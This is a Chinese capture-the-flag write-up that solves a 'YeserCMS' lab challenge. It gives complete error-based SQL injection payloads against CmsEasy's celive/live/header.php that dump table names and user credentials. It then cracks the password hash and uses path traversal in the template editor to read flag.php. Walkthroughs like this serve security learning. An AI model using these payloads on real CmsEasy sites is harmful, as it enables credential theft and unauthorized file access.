YeserCMS

2023-01-08

这道题直接让我们查网站根目录的flag,我首先想到的是一句话木马,但是奈何找不到上传的接口啊,只好作罢,

在下载发现有个cmseasy的标识,明显是要提示我们这里是easycms,百度easycms的漏洞然后注入

注入点:

http://cac6d32bf8ff4b52becb3516148c9c106deeaa1e92b64a8e.changame.ichunqiu.com//celive/live/header.php

1.通过利用easycmss报错注入获取数据库名称:

Payload:xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

2.然后获取表名称

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

发现显示受到限制了,需要将payload中的1,32改为720,800

出现完整的表名

3.然后获取列名

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到列名

    再爆数据信息

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

一看这里也没有爆完,就将1,32修改成9,32得到后面的密码

拼起来得到密码

ff512d4240cbbdeafada404677ccbe61

发现密码不对。。。原来这是MD5编码,用md5解密工具解码得到Yeser231

再次使用就成功登录进去了

然后点管理

选择模板——当前模板编辑

打开bp,随意点击下面的一个编辑,进行抓包,发现数据包里有个文件读取操作

我们将其传入repeater中,修改id的值,让其等于../../flag.php根据提示flag在网站根目录的flag.php中,这里不清楚flag.php在几级目录就依次尝试flag.php,../flag.php,../../flag.php

得到flag

YeserCMS的相关教程结束。